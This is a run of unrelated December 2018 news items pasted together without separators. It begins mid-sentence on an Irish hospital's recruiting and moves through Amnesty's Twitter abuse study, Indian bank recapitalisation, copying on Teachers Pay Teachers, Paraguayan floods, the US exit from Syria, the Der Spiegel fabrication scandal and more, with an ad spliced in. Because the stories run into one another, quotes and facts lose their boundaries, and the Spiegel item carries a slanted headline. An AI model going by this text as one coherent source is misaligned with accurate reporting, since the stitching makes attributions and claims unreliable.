their services is the ability to attract and recruit highly skilled and educated professionals. "However, in particular, their geographic closeness to Dublin means that they are indeed competing with the larger Dublin hospitals for those specialist skills particularly in the areas of medicine, nursing and allied health professionals. "This shall remain a challenge for the hospital into the New Year and beyond", Fitzpatrick concluded. Enterprise IT Lead Generation Services Fuel Your Pipeline. Close More Deals. Our full-service marketing programs deliver sales-ready leads. 100% Satisfaction Guarantee! Learn more. Women are abused on Twitter every 30 seconds, and minority women are harassed more often, according to an Amnesty International report released Tuesday. Volunteers for Troll Patrol, a crowdsourcing project set up by Amnesty International to process large-scale data about online abuse, sorted through 288,000 tweets sent to 778 woman politicians and journalists in the UK and the United States last year. More than 6,500 volunteers from 150 countries signed up to participate in Troll Patrol. They spent 2,500 hours analyzing the tweets. The subjects, who were both liberal and conservative, all had active unprotected Twitter accounts with fewer than a million followers. Software firm Element AI used advanced data science and machine learning techniques to extrapolate data about the scale of abuse women face on Twitter. Key findings: Black women were 84 percent more likely than white women to be mentioned in abusive or problematic tweets; In general, women of color were 34 percent more likely to be mentioned in abusive or problematic tweets than w white women; The abuse was targeted at both liberal and conservative woman politicians, as well as women in both left- and right-leaning media; and Problematic or abusive tweets constituted 7.1 percent of the tweets sent to the study participants, which, when extrapolated, works out to 1.1 million tweets being sent to the 778 participants over the year, or one every 30 seconds. "Troll Patrol means we have the data to back up what women have long been telling us -- that Twitter is a place where racism, misogyny and homophobia are allowed to flourish basically unchecked," said Milena Marin, the project's senior advisor for tactical research. "Women of color were much likely to be impacted, and black women are disproportionately targeted," Marin noted. "Twitter's failure to crack down on this problem means it is contributing to the silencing of already marginalized voices." The report "is very disturbing," Rob Enderle, principal analyst at the Enderle Group, told the E-Commerce Times. Abusive and Problematic Tweets Here is how Amnesty International defines abusive and problematic tweets: "Abusive tweets include content that promote violence against or threats of people based on their race, ethnicity, national origin, sexual orientation, gender, gender identity, religious affiliation, age, disability, or serious disease. Examples include physical or sexual threats, wishes for the physical harm or death, reference to violent events, behaviour that incites fear or repeated slurs, epithets, racist and sexist tropes, or other content that degrades someone; and "Problematic tweets contain hurtful or hostile content, especially if repeated to an individual on multiple or occasions, but do not necessarily meet the threshold of abuse. Problematic tweets can reinforce negative or harmful stereotypes against a group of individuals (e.g. negative stereotypes about a race or people who follow a certain religion)." Abusive content violates Twitter's rules, Amnesty International pointed out. "Policing social media is a thankless and near-impossible task," noted Laura DiDio, principal at ITIC. "Where do you even begin to police and track millions of users and billions of daily tweets? Some things are bound to fall through the cracks even if you have a veritable army of 'good taste police' monitoring the tweets," she told the E-Commerce Times. It is possible to have "basic policies and guidelines around foul, offensive, racist, or threatening language," said DiDio, "but there are subtleties, differences in languages, idioms and emojis which muddy the waters and make for gray areas." Amnesty International "has repeatedly asked Twitter to publish data regarding the scale and nature of abuse on their platform, but so far the company has failed to do so," said Troll Patrol's Marin. "Troll Patrol isn't about policing Twitter or forcing it to remove content," she pointed out. "We are asking it to be more transparent, and we hope that the findings from Troll Patrol will compel it to make that change. Crucially, Twitter must start being transparent about how exactly they are using machine learning to detect abuse, and publish technical information about the algorithm." Twitter has been developing machine learning tools that identify and take action on networks of spammy or automated accounts automatically. Twitter's Response "With regard to your forthcoming report, I would note that the concept of 'problematic' content for the purposes of classifying content is one that warrants further discussion," Vijaya Gadde, Twitter's legal, policy and trust and safety global lead, told Amnesty International when the organization shared its findings with the company. "It is unclear how you have defined or categorized such content, or if you are suggesting it should be removed from Twitter," he continued. "We work hard to build globally enforceable rules and have begun consulting the public as part of the process -- a new approach within the industry." That response does not sit well with Enderle. "When presented with evidence of abuse at massive scale, Twitter wants to define terms rather than focusing on ending the abuse," he fumed. The firm looks like it's being run by misogynistic idiots." How Twitter Fights Abuse Twitter "uses a combination of machine learning and human review to adjudicate abuse reports and whether they violate our rules," Gadde said. "Context matters when evaluating abusive behavior and determining appropriate enforcement actions." Some factors Twitter takes into consideration: Whether the target is an individual or a group of people; Whether the report was filed by the target or a bystander; and Whether the behavior is newsworthy and in the legitimate public interest. "Abuse, malicious automation, automation and manipulation detract from the health of Twitter," Gadde noted. "We are committed to holding ourselves publicly accountable towards progress in this regard." The social media site provides follow-up notifications to individuals who report abuse, Gadde said. It also provides recommendations for additional actions that individuals can take to improve their Twitter experience, such as using the block or mute feature. "I'd set up a deep learning system with oversight and be transparent about the rules and actions," Enderle suggested. Twitter also should "provide an escalation path for those who feel they are unfairly blocked, and modify as needed." Twitter "is well aware that it is always a tweet away from being caught in the crossfire between the opposing views of conservatives and liberals, who clash loudly and often," DiDio said, "so it must take a measured and cautious approach." Richard Adhikari has been an ECT News Network reporter since 2008. His areas of focus include cybersecurity, mobile technologies, CRM, databases, software development, mainframe and mid-range computing, and application development. He has written and edited for numerous publications, including Information Week and Computerworld. He is the author of two books on client/server technology. Email Richard. This would enable infusion of over Rs 83,000 crore in the next few months in Public Sector Banks (PSBs), said a finance ministry official. New Delhi: The Centre on Thursday sought parliaments nod for enhancing funds earmarked for the recapitalisation of state-owned banks to Rs 1,06,000 crore from an earlier target of Rs 65,000 crore in the current financial year. This would enable infusion of over Rs 83,000 crore in the next few months in Public Sector Banks (PSBs), said a finance ministry official. The government is keen on boosting liquidity to the industry so that the economic growth could pick up and more jobs are created ahead of crucial Lok Sabha elections in 2019. The recapitalisation, finance minister Arun Jaitley said, will enhance the lending capacity of state-owned banks and help them come out of the RBIs Prompt Corrective Action (PCA) framework. Mr Jaitley said the recognition of non-performing assets in the public sector banks is complete, and the downslide in bad loans has begun. The finance ministry said that PSBs have already recovered Rs 60,726 crore of the outstanding bad loans in the April-September period, which it termed as a record haul. The ministry said that this recovery is more than double the amount recovered over the corresponding period last year. It said that gross NPAs of the public sector banks have started declining after peaking in March 2018, registering a decline of Rs 23,860 crore in the first half of the current financial year. The government had earlier announced infusion of Rs 65,000 crore in PSBs in 2018-19. Of which, Rs 23,000 crore has already been disbursed, while Rs 42,000 crore is remaining. Four banks State Bank of India, Bank of Baroda, Indian Bank and Vijaya Bank may not need capital. A total of 11 out of the 21 public sector banks are under RBIs PCA framework, which imposes lending restrictions on weak banks. The additional resources have been sought to help the banks to meet their regulatory capital norms and providing capital to better-performing PCA banks to achieve nine per cent Capital to Risk-weighted Asset Ratio (CRAR) to come out of PCA. The banks, which have not attracted RBIs lending restrictions but are in breach of some thresholds, will also get additional funds from the government. Some capital will also be provided to the banks which are going to be amalgamated to meet regulatory norms and growth capital. Julie Reulbach doesnt sell resources on Teachers Pay Teachers , an online marketplace where educators can make money on their lesson plans and classroom materials. Even so, she often sees her work for sale there. Everytime I check, I find something, said Reulbach, a high school math teacher at a private school in Concord, N.C., who has published an instructional blog since 2010. She scans TpT for work from her blog about once every six months. Her site is under a NonCommercial Creative Commons license, so anyone can use, edit, or share her materialsbut they are not supposed to sell them. Its happening anyway. And Reulbachs experience isnt unique. Nearly a dozen educators who have used or are knowledgeable about the site told Education Week that TpT has a widespread problem with copyright infringement. Teachers said sellers had lifted passages verbatim from their lessons and copied entire pages without permission. While the company provides a reporting mechanism for infractions, it leaves the policing to the rights holders themselves. The controversy over stolen work has also fueled a larger ideological rift in the teaching community: the division between those who think its fine for teachers to make money off their hard work, and those who believe educators should share materials with their colleagues for free. In a statement, TpT CEO Joe Holland said that the company takes the protection of intellectual property seriously. TpT strictly prohibits its sellers from listing material that infringes on the intellectual property rights of others, and we have no desire to have such material on TpT, he said. But educators and authors say the company should be doing more to combat what they see as a systemic failure to protect teachers and others who create materials. They Shouldnt Be Selling It When Reulbach sees sellers attempting to make money off of lessons shes created, she reaches out to them and asks them to take her materials down. Usually, people contact me and say, Im really sorry, and remove the resource from their store, she said. But earlier this year, she got into an argument with a teacher-seller that veered into the public sphere. Seeing one of her graphic organizers for sale in a TpT store, Reulbach filed a notice with the companys copyright team and commented on the listing. She also reached out to the seller, Theresa Ellington, on Twitter, asking her to remove the product. The two went back and forth on the social media platform, with Ellington saying that she had reworked the lesson from a Pinterest post and Reulbach maintaining that the resource was a direct copy of hers. Screenshots Reulbach took of the worksheet from the store are nearly identical to the version in her original blog post , including the same formatting and equations. One picture published with Ellingtons product even shows a photo of the organizer filled out in Reulbachs handwriting. Eventually, Ellington, a math teacher and educational consultant, removed the graphic organizer from her store. But in an interview with Education Week, Ellington said she didnt believe that the resource ever infringed on Reulbachs copyright. She said she made changes to the Pinterest post and sold it so that other teachers could have access to the updated version. (She also said no one ever actually bought a copy from her.) Reulbach often finds pictures of her work posted on Pinterest, she told Education Week, where teachers might assume that the images dont belong to anyone. But obviously, if they didnt create it, they shouldnt be selling it and trying to make money off of it, she said. Other teachers say theyve unexpectedly found their work being sold on TpT as well. When Chicago teacher Tess Raser found out that her 6th graders would be seeing the movie Black Panther as a class, she saw an opportunity for a powerful lesson. Raser created an accompanying curriculum for the movie , covering a wide swath of history, social studies, and sociology: African kingdoms, the trans-Atlantic slave trade, Afrofeminism, and Afrofuturism. She posted the resource online, and it went viral. Rasers work was featured on the technology and science fiction site Gizmodo and on the site for Blavity , a media company geared to black millenials. Teaching Tolerance, a social justice and anti-bias program that provides free resources for educators, also highlighted it as recommended reading . While access to the Google doc with the curriculum was free, Raser asked that those who could pay her do so via Venmo or the Cash App, two online payment services. She also posted the resource for sale on her own TpT store. Months later, a friend emailed heranother TpT seller had listed a resource with content almost identical to her own, she said. A preview page from the sellers lesson shows the same objectives around understanding colonialism and a similar picture-matching activity. Raser emailed TpT to report the seller and posted about the incident on Twitter. And though the seller did remove the resource from her store, Raser didnt feel that the problem had been resolved. I was like, OK, well, you still need to compensate me because youve been paid for work that I created, she said. I dont care that its deletedyou shouldnt have put it up in the first place. Raser said she left comments on the sellers other listings asking for payment and emailed the company inquiring about compensation. But TpT told her that beyond removing the resource, there wasnt anything the company could do. Raser could get a lawyer, the company told her, if she wanted to pursue a case against the seller. TpT doesnt arbitrate copyright claims. The company complies with the Digital Millennium Copyright Act, which updated copyright law to address publication and distribution on the internet. The law gives websites that host third-party content, like TpT, whats called a safe harbor. When sellers on the platform post material that infringes on someone elses copyright, the company is not held financially liable. In order to claim this legal protection, TpT has to give copyright holders a way to flag infringing content and have it taken down. Anyone who thinks a TpT seller has listed his or her copyrighted material can submit a DMCA takedown notice with the site. Every product has a report this resource option, which leads to an electronic form, or users can also email the company directly. On its website, TpT says that if it receives a DMCA notice with all of the required information included, it will remove infringing content. The company would not say how many DMCA notices it receives on a yearly basis. And the burden is on teachers to file infringement complaintsnot on TpT to police seller content. TpT doesnt independently review the content on the site, in part because its difficult for the company to know what agreements or licenses individual sellers have. For example, a seller using large, verbatim passages of someone elses work could be infringing on copyrightor might have permission from the original author to use those sections for commercial purposes. For Raser, the sellers silence was especially astonishing, given the subject matter of her materials. Literally, its curriculum on colonization and the legacy of slavery, she said. It was ludicrous, Raser said, that someone would take resources created by a black woman on those topics, pass them off as his or her own, and profit off of them. The seller, who is only identifiable by screenname, did not return several requests for comment. After Raser commented on the sellers page asking for compensation, TpT told Raser that it had received reports of her harassing a member of the site. If the company received more of these reports against her, the email read, TpT would suspend or deactivate her account. The sellers account is still live. Public Pressure Some whove had their content lifted say they see public pressure as their best recourse. Reulbach, the North Carolina teacher, said the reporting process through TpT can be slow, and contacting the seller directly sometimes yields a faster result. But Ellington, whom Reulbach confronted on Twitter, said she felt that Reulbach was wrong to handle the incident publicly. I felt like it was more cyberbullying than legitimately two people, two teachers, two professionals speaking about, Hey, this is an issue, she said. When TpT did respond to Reulbach, it was only to say the company would note Ellingtons infraction in its records. Reulbachs social media callout did have another effect: It led to an avalanche of Tweets from other bloggers whod had similar experiences. Lisa Bejarano, a former high school math teacher who now works for the online graphing calculator company Desmos, was one of these bloggers. Bejarano has seen resources from her blog sold by other users, but she said its not worth the energy for her to fight stolen work. Shes reached out to sellers when similarities to her work have been pointed out to her by friends or colleagues, but she doesnt go looking for infractions. Usually as a teacher, youre just so busy trying to grade and plan and teach that policing is the last priority, she said. Investigating possible infringement can carry a financial cost for teachers, too. Browsers on TpT can only see a small selection of preview pages from resources that they havent purchased, so it can be necessary to buy a product to confirm a suspicion that its copied from another work, said Bejarano. My perspective is always that if that teacher is that desperate to make a couple extra bucks that they need to go to these lengths, then they have bigger issues that Im not going to fix, she said. The company says it will close the accounts of sellers who are reported multiple times for copyright infringement, but wouldnt say how many individual infractions it would need to receive against someone before taking this step. Several teachers argued that TpT didnt have an incentive to police the site, because the company profits off of every lesson sold. It takes a 45 percent commission from every lesson purchased from a regular seller and a 20 percent commission from every sale from a premium sellera paid membership tier that costs about $60 a year. Teachers Pay Teachers is making money off of copyrighted material, and theyre putting it on the responsibility of the teachers who created the material to go hunt that down, and make sure it comes off. And thats what makes me angry, said Reulbach. Its not about me. Its about a corporation thats making money off of copyrighted material. In a statement, Holland said the company has no desire to have material that infringes copyright listed on TpT. Ethics of Selling vs. Sharing When TpT first started in 2006, a controversial debate launched along with it: Is it ethical for teachers to charge each other for lessons and resources, or should they share their creations with each other for free? TpT has been heralded as a way for underpaid educators to make extra moneymedia coverage has frequently spotlighted teachers who have pulled in six-figure profits. Tips From a Copyright Expert Many of the problems on Teachers Pay teachers and similar sites arise simply because theres confusion around the laws for creating, sharing, and selling intellectual material, including lesson plans and classroom activities. People dont know, and why would they know? said Carrie Russell, the senior program director for public policy and advocacy at the American Library Association. For teachers who arent sure what their rights are, here are three general tips: Copyright protection begins at the point of creation: As soon as a teacher finishes a work, she holds the rights. Having the copyright registered with the U.S. Copyright Office will provide evidence to a court that the teacher is the rightful copyright holder if there were ever an infringement case. A teacher can sue without registering her copyright, but she would still need to prove that she was the original author of the work. Teachers should consider labeling their work with a copyright symbol, their name, and the date of creation. While this wont change their legal rights, it could be a deterrent for potential infringers. But the customers on TpT are also teachers, who are facing financial strains similar to the sellers. Should they really have to pay for the materials needed to do their jobs? Bringing up issues of copyright infringement on the platform can set off a powder-keg in the teacher-seller community, Reulbach said. Criticism of the problem, she said, is often mistaken for criticism of all teachers who use the site. Its a very, very sore subject for a lot of teachers, because some teachers really do need Teachers Pay Teachers to survive, Reulbach said. And teachers in underresourced schools rely on the centralized store of lessons and materials. As TpT has become popular, opportunities for online sharing have also developedplatforms like BetterLesson and Share My Lesson allow teachers to freely post and download material. Theres also a growing sect of teachers who create and use HyperDocs: editable, shareable lessons hosted on Google docs. That movements website is titled Teachers Give Teachers . If material is good enough to share, it doesnt make sense to limit teachers and students access to it by charging a fee, said Kevin Roughton, a middle school social studies teacher in southern California, who said hes also seen his work sold on TpT without his permission. If my work can help the teacher next door, Im certainly not going to charge my colleague next door. ... I dont know why, all of the sudden, if its [a teacher in] another county or another state, that Id want to limit students from having access to that material. Roughton publishes a blog where he shares the history lessons that he creates . Last year, he found a lesson with several lines of text lifted verbatim from his materials in a TpT store. He contacted the seller, who acknowledged the similarities and said he may have subconsciously included lines from other resources he had seen online. The seller then made changes to the product. Ideas in the education community are shared and borrowed and stolen all the time, Roughton said. But theres a difference, he said, between stealing an idea to use with your own students and stealing work to sell for profit. The former is good instruction, while the latter is at best bad practiceand at worst, illegal. For Reulbach, seeing her work behind a paywall feels like a barrier to equity. Teachers dont make a lot of money, and it just really makes me sad that teachers are paying for something that they could get for free, she said. Need for Clarity Sellers arent just lifting resources from individual teacherstheyre taking from commercially published materials as well. Jennifer Serravallo, whos written books on teaching reading and writing strategies , is one of the many education authors whose work is popular with TpT sellers. Users create activities inspired by these authors work and resources to complement the lessons in their books. Sometimes, though, they also include chunks of these authors books, which are protected by copyright. Searching Serravallos name on the site returns more than 100 products, created by other users, that reference her work. Some of them clearly violate copyright, she saidlike word-for-word passages lifted from her booksbut others she doesnt flag, like when sellers reference her list of reading goals or the title of one of her books within their product. I dont think thats a problem, she said. Making these judgment calls can be difficult, and it requires an intimate understanding of her published work, said Serravallo. Serravallo thinks that a lot of the problems stem from teachers not understanding the ins and outs of copyright law. The teachers who are making this stuff have always been horrified as soon as theyve been called out, said Serravallo, expressing remorse that theyve violated the work of an author they respect. I dont think theres malicious intent. I dont think theyre trying to be sneaky ... I think they, in many cases, just really dont know that what theyre recreating is a violation. They think its just going to be a helpful resource out there. The issue is hardly limited to Serravallos work. Her publisher, Heinemann, recently updated the copyright language in its books , directly in response to teachers using work from its imprint on TpT and other sites: We respectfully ask that you do not adapt, re-use, or copy anything on third-party (whether for-profit or not-for-profit) lesson-sharing websites. And many teachers dont realize that theyre generally violating copyright by pulling a photo or image from the internet that they dont have rights to use. TpT has a deep respect for intellectual property rights, said TpT CEO Holland, in a statement. To that end, we ask our sellers to certify to the ownership of their resources upon account creation. Sellers have to re-confirm theyre posting original work each time they upload a new resource. (TpT would not offer public comment beyond the written statement for this story.) But copyright laws are complex and nuanced, said Serravallo. As an author, I have learned a lot about this because I try to put stuff in my books, and itll get flagged by the publishers permissions department, she said. Even now, after publishing several books, she still is surprised by some of the material the department tells her she cant use. For a teacher self-publishing content on TpT, navigating those rules without legal counsel would be difficult, said Serravallo. The company provides several informational resources on copyright and trademark, including a three-part explanation of copyright protections, a quiz, and FAQ sections for sellers and buyers. But teacher-sellers arent required to review these resources or demonstrate understanding of copyright protections before they start listing products. Unfair Burden? Educators say that the company should be doing moreto simplify the reporting process, to better educate sellers about copyright law, to take swifter action against those who break the rules. Roughton, the teacher from southern California, never filed a DMCA takedown notice with the site. He said he knew that he had created the material, but he wasnt sure if he needed to do anything to claim copyright. (He did not.) He was worried that if his claim werent seen as valid he could get in legal trouble himself. As a teacher, I was like, its just not worth it for a $5 lesson on a website, he said. When users do file DMCA notices, they have to separately report each listing. Sometimes, said Serravallo, a user will create individual resources that infringe on her copyright, and then bundle all of those resources into another, distinct product. In those cases, she has to report the bundle as well as each individual resource. Its a lot of work for the author to make something right that [someone else has] done wrong, said Serravallo. Asuncion, Dec 20 (efe-epa).- President Mario Abdo Benitez visited on Thursday a military base serving as a temporary refuge for people forced from their homes by flooding, where he handed out supplies and appealed to Paraguayans not to be "indifferent to the pain" of their compatriots. "The construction of public policies is our obligation, but showing solidarity is the obligation of all good-hearted Paraguayans," he said in front of the roughly 200 families living in tents and makeshift structures on the grounds of the army's 4th Cavalry Regiment outside Asuncion. Some 7,800 families have been driven from their homes in poor capital neighborhoods by perennial flooding of the Paraguay River, according to figures from the National Emergency Secretariat (SEN). Most of the evacuees on the 4th Cavalry grounds have been there since 2014 waiting for a permanent home, SEN director Joaquin Roa said. Juan Carlos Ortellado, leader of a committee representing people awaiting completion of the Nueva Esperanza housing project, took the opportunity of the president's visit to urge Abdo Benitez to "expedite the process." The nearly 8,000 affected families are "well-assisted and supported within the precarity" of their situation, Roa said, while acknowledging that the number of evacuees could increase next March as the river level rises as a result of heavy rains now falling in the north part of Paraguay. Relacionados Paraguayan president visits flood victims BMW and Daimler are creating a holistic, intelligent and seamless ecosystem of mobility services. The responsible competition authorities have approved the merger plans of BMW and Daimler for a joint venture. The companies are planning the next steps for the joint mobility company making personal freedom the focus of sustainable urban mobility. BMW and Daimler are planning the next steps for their joint mobility company, following approval by the responsible competition authorities. The basis for this is the approval of the US competition authorities, which was received on Tuesday, December 18, 2018. This means that all antitrust authorities involved have given the green light for the new joint venture, which is owned in equal parts by both companies. BMW and Daimler are creating a holistic, intelligent and seamless ecosystem of mobility services with car-sharing, ride-hailing, parking, charging and multi-modality for sustainable urban mobility. The joint venture will focus on ensuring the personal freedom of customers in the field of urban mobility. Geared towards this vision of future urban mobility, a new mobility offering will be created that is easy to access, intuitive and focused on the needs of the user. On their urban journey, customers will move through a seamlessly connected and sustainable ecosystem that combines CarSharing, Ride-Hailing, Parking, Charging and Multimodality from a single source and is available with just a few taps. The idea is to create the most attractive, most comprehensive mobility solution for a better life in our connected world. Once this major transaction closes, the new mobility company will present next steps in the first quarter of 2019, in conjunction with BMW and Daimler. Gatwick flights delayed due to drones Flights to and from Gatwick Airport are suspended after drones were seen flying nearby. The airport closed its runway from 9pm for six hours before another drone was spotted, forcing a second closure. It's causing huge disruption - with outgoing flights grounded and incoming ones diverted. Ronaldsway say this morning's Gatwick to Isle of Man flight is now due to arrive in at 10:30am. The 9:50 IOM to Gatwick flight is now scheduled to leave at 11am. This comes a week after RLSP chief Upendra Kushwaha quit the BJP-lead alliance complaining of 'arrogance'. New Delhi: Former Union Minister and Rashtriya Lok Samta Party (RLSP) chief Upendra Kushwaha on Thursday joined the grand alliance of the opposition parties in Bihar. This comes a week after Kushwaha quit the BJP-lead alliance complaining of arrogance. Congress leader Ahmed Patel made the announcement while addressing a press conference at the AICC office in New Delhi. There is a gathbandhan in Bihar. It's a matter of happiness that Upendra Kushwaha is joining the mahagathbandhan, Patel said. After joining the grand alliance, the RLSP supremo said, We had said that we have many options and UPA was one of them. The wholeheartedness shown by Rahul Gandhi and Lalu Yadav is one of the reasons I joined but the biggest reason I'm here is the people of Bihar. Leaders of 'mahagathbandhan' in Bihar, including Hindustani Awam Morcha (HAM) leader Jitan Ram Manjhi, RJD leader Tejashwi Yadav and Congress leader Shaktisinh Gohil were among those who were present there. Kushwaha quit the NDA in Bihar on December 10 over the seat-sharing deal for the 2019 Lok Sabha elections. He had been unhappy as the arrangement left smaller parties with lesser seats as the BJP went out of the way to accommodate Bihar Chief Minister Nitish Kumar by agreeing that the party and the JD(U) would fight equal number of seats. On Wednesday, Kushwaha slammed his former National Democratic Alliance allies and said, "People of the NDA have become arrogant, particularly Nitish Kumar in the context of Bihar. It was this conceit that made us split from them." He further praised Congress chief Rahul Gandhi and said, he (Gandhi) had evolved into a mature leader and is a likely option for replacing Narendra Modi as the Prime Minister next year". Der Spiegel admits created fake stories about Turkey Der Spiegel reporter apparently managed to falsify and invent stories for several years and was finally exposed when a suspicious colleague decided to thoroughly check his alleged sources. "Free" and "fair" Europe media is being shaken with a new scandal. The German news magazine Der Spiegel has been plunged into chaos after revealing that one of its top reporters had falsified stories over several years. The magazine has announced that one of its star reporters, Claas Relotius, the winner of the German Reporter Award 2018, resigned due to committing journalistic fraud "on a grand scale". MADE UP STORIES AND CHARACTERS In a statement on Wednesday, Der Spiegel said it was working to establish the full extent of Relotius' "fabrications" after a colleague who worked with him on a story raised suspicions about his reporting. After initially denying the allegations, Relotius confessed last week to inventing entire passages of text in several instances, Der Spiegel says. The journalist admitted that he made fake news, especially over Turkey and Syrian refugee crisis. Spiegel said that Claas Relotius made up stories and invented protagonists in at least 14 out of 60 articles that appeared in the magazine's print and online editions. In some articles, he is said to have included individuals he had never met or spoken to, "telling their stories or quoting them". "By his own admission, there are at least 14 articles," the magazine said, adding: "Could that figure actually be considerably higher?" The magazine said the incident marks a low point in the 70-year history of Der Spiegel. French troops remain in Syria amid US withdrawal For now, of course, we remain in Syria, says Nathalie Loiseau, France's European affairs minister, even as US set to leave. Frances troops will remain in Syria, said French officials on Thursday after U.S. President Donald Trump announced the pullout of U.S. soldiers from the civil war-torn country. For now, of course, we remain in Syria [militarily], Nathalie Loiseau, Frances European affairs minister, told CNEWS television. French Defense Minister Florence Parly said on social media that the terrorist group Daesh is now weaker than ever. Daesh lost more than 90 percent of its territory as well as its logistics ability, she added. Daesh has not been wiped from the map nor have its roots, she said: The last pockets of this terrorist organization must be defeated militarily. France reportedly has some 1,000 troops in Syria, half of the U.S. number before the pullout. Senators worried over Trumps withdrawal from Syria The decision to pull out troops a 'premature and costly mistake', say lawmakers in the letter. A group of U.S. senators sent a letter to President Donald Trump on Wednesday expressing grave concern over his decision to pull all U.S. troops out of Syria and asked him to reconsider the move. The letter by six senators was shared on Sen. Lindsey Grahams official Twitter account. "THIS ACTION IS A MISTAKE" "We believe that such action at this time is a premature and costly mistake that not only threatens the safety and security of the United States but also emboldens Daesh, Bashar al Assad, Iran and Russia," their statement said. Trump said earlier in the day that the US-led coalition has succeeded in defeating the Daesh terrorist group, suggesting that a withdrawal of US troops was imminent. "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency," he said on Twitter. Trump later announced that all of the US's roughly 2,000 troops in northeastern Syria would be leaving. Local police station has recorded womans complaint; adding that CCTV footages of the area have been sought. Kolkata: A woman was allegedly slapped by an on-duty Kolkata Traffic Police officer following an altercation over getting into an app-based cab in the citys Park Street area, police said on Thursday. The woman lodged a case against the additional sub-inspector of Kolkata Traffic Police South Traffic Guard, Hiralal Mondol accusing him of slapping her on Wednesday night at Park Street, the police said. Mondal had reportedly asked the app-based cab to leave the spot because it was blocking the way for other vehicles, a Kolkata Police officer said. "It was then that an altercation broke out between the woman and the traffic police officer. She had allegedly pulled him by his uniform and pushed him and the officer purportedly slapped the woman," the officer added. Kolkata Police sources said that Additional Commissioner of Police (III) Supratim Sarkar had telephoned the woman and promised proper action against the accused police personnel after an investigation. The local police station has recorded the womans complaint; he said adding that the CCTV footages of the area have been sought. US ground troops withdraw from Syria Donald Trumps announcement came as a shock to many after several top administration officials had insisted otherwise. All of the US's roughly 2,000 troops in Syria will be leaving, President Donald Trump said Wednesday in a major policy departure for Washington. "IT'S TIME TO COME BACK HOME" Trump earlier in the day declared victory over the Daesh terrorist group, saying its defeat was the sole reason for the US's presence in the country under his administration. "It's time for our troops to come back home," Trump said in a pre-recorded video message posted on Twitter. "Our boys, our young women, our men -- they're all coming back, and they're coming back now." The US began its air campaign in Syria in 2014, deploying troops to the country to assist in the anti-Daesh fight alongside local partners the year after. The president's announcement had come as a shock to many after several top administration officials, including National Security Advisor John Bolton, insisted the US would not be removing its forces until Iran exited Syria. Reports have suggested all State Department personnel would depart Syria within the next 24 hours while U.S. forces will leave within 60 to 100 days. It is unclear from Trump's statement if "they're coming back now" means all troops are being immediately extracted or if there is a gradual scale for their withdrawal. The White House had earlier stressed that recent military victories against Daesh "do not signal the end of the Global Coalition or its campaign". "We have started returning United States troops home as we transition to the next steps of this campaign," spokeswoman Sarah Sanders said in a statement. "The United States and our allies stand ready to re-engage at all levels to defend American interests whenever necessary." Those reassurances were met with skepticism from some of Trump's key Capitol Hill allies, who warned Daesh is far from final defeat. THE WITHDRAWAL CAME AFTER PRESIDENT ERDOGAN'S STATEMENTS The withdrawal follows a military operation in northeastern Syria vowed by President Recep Tayyip Erdogan against the YPG/PKK. Ankara has carried out two separate military operations in northern Syria in the past. The US had warned publicly against a new operation in northeastern Syria as it works alongside the YPG-led SDF, which is fighting Daesh in its last remaining major foothold in eastern Syria. Yellow Vests road blocks continue French Interior Minister Christophe Castaner remarked on the Yellow vest protests and announced the death of an eighth person, and called on protesters to stop occupying roundabouts. Yellow Vest protesters occupied highway toll booths, setting a number on fire and causing transport chaos in parts of the country just days before the Christmas holidays getaway. More than 360 roads were occupied. So far, just the 170 of them was re-opened. Protesters angry about high fuel costs and new speed limits have also damaged or torched hundreds of traffic radars. MAJOR RADAR DAMAGE COST It was estimated that by the middle of last week some 1,600 - about half of all French traffic radars - had been damaged. More than 250 have been entirely destroyed. The French state will also lose several tens of millions of euros in revenues, it said, adding that in 2017 the radars had yielded on average 84 million euros ($96 million) per month. The interior ministry declined to comment on the number of radars damaged but said that minor damage cost on average 500 euros per radar to repair, with major damage costing up to 200,000 euros. "IT'S ENOUGH ALREADY" Interior Minister Christophe Castaner said Saturday that eight people had now died in incidents linked to the demonstrations, and called on protesters to halt their blockades across the country. Minister said enough as the death toll in protests increased. Everyones safety has to become the rule again, he said in a tweet. Dialogue now needs to unite all those who want to transform France. 20 December 2018 The first European patent application, EP 0 000 001, was filed by Euratom, and published on 20 December 1978. Forty years ago today the EPO published its first European patent application, EP 0 000 001. Filed by the European Atomic Energy Community, the application related to a "thermal heat pump". The corresponding European patent was granted on 7 January 1981. EP 0 000 001 was only one in a batch of 112 applications published on that day. Others included a "Combination lock" (EP 0 000 003), a "Lifting device" (EP 0 000 008), and a "Method for the manufacture of amino-formaldehyde resins" (EP 0 000 096). They came from applicants based in Luxembourg, Sweden, the UK, the US, Japan and other countries. "Those first patent applications marked the initial contribution from the then recently opened European Patent Office to the worldwide collection of patent information," said EPO President Antonio Campinos. "The EPO has published more than 3.4 million patent applications since - and over 1.7 million granted patents. These documents provide information about the latest developments in all areas of technology. Providing public access to them has always been an integral part of the EPO's support to innovation in Europe." 2018 has marked a number of anniversaries for patent information in Europe, including 30 years since the adoption of a dedicated patent information policy by the European Patent Organisation, 20 years since the launch of the EPO's free online patent search tool, Espacenet, and 10 years since the Federated European Patent Register was conceived. In November this year the EPO also launched a beta of its new Espacenet service to ensure efficient and rapid access to patent information as the volume of data grows. Further information The happiness we feel after a particular event or activity diminishes each time we experience that event, a phenomenon known as hedonic adaptation. But giving to others may be the exception to this rule, according to research forthcoming in Psychological Science, a journal of the Association for Psychological Science. In two studies, psychology researchers Ed O'Brien (University of Chicago Booth School of Business) and Samantha Kassirer (Northwestern University Kellogg School of Management) found that participants' happiness did not decline, or declined much slower, if they repeatedly bestowed gifts on others versus repeatedly receiving those same gifts themselves. "If you want to sustain happiness over time, past research tells us that we need to take a break from what we're currently consuming and experience something new. Our research reveals that the kind of thing may matter more than assumed: Repeated giving, even in identical ways to identical others, may continue to feel relatively fresh and relatively pleasurable the more that we do it," O'Brien explains. In one experiment, university student participants received $5 every day for 5 days; they were required to spend the money on the exact same thing each time. The researchers randomly assigned participants to spend the money either on themselves or on someone else, such as by leaving money in a tip jar at the same cafe or making an online donation to the same charity every day. The participants reflected on their spending experience and overall happiness at the end of each day. The data, from a total of 96 participants, showed a clear pattern: Participants started off with similar levels of self-reported happiness and those who spent money on themselves reported a steady decline in happiness over the 5-day period. But happiness did not seem to fade for those who gave their money to someone else. The joy from giving for the fifth time in a row was just as strong as it was at the start. O'Brien and Kassirer then conducted a second experiment online, which allowed them to keep the tasks consistent across participants. In this experiment, 502 participants played 10 rounds of a word puzzle game. They won $0.05 per round, which they either kept or donated to a charity of their choice. After each round, participants disclosed the degree to which winning made them feel happy, elated, and joyful. Again, the self-reported happiness of those who gave their winnings away declined far more slowly than did 